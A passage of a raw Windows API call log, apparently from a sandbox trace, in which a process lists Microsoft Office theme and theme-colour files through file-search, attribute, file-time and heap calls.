ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="")) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="")) returned 1 [0072.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0072.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0072.093] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0072.093] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa7c338, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa7c338, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0072.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa7c338) returned 1 [0072.093] NtClose (Handle=0x170) returned 0x0 [0072.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa77190) returned 1 [0072.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0072.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77190 [0072.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77298 [0072.093] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0072.140] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.188] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0072.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa773a0 [0072.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa750a0) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dd28 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa774a8 [0072.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.189] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dd48 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa775b0 [0072.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.190] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dd68 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa776b8 [0072.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.190] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dd88 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa777c0 [0072.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.191] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dda8 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa778c8 [0072.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.191] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5ddc8 [0072.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa779d0 [0072.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.192] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) returned 1 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dde8 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77ad8 [0072.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.192] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5de08 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77be0 [0072.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.192] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0072.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 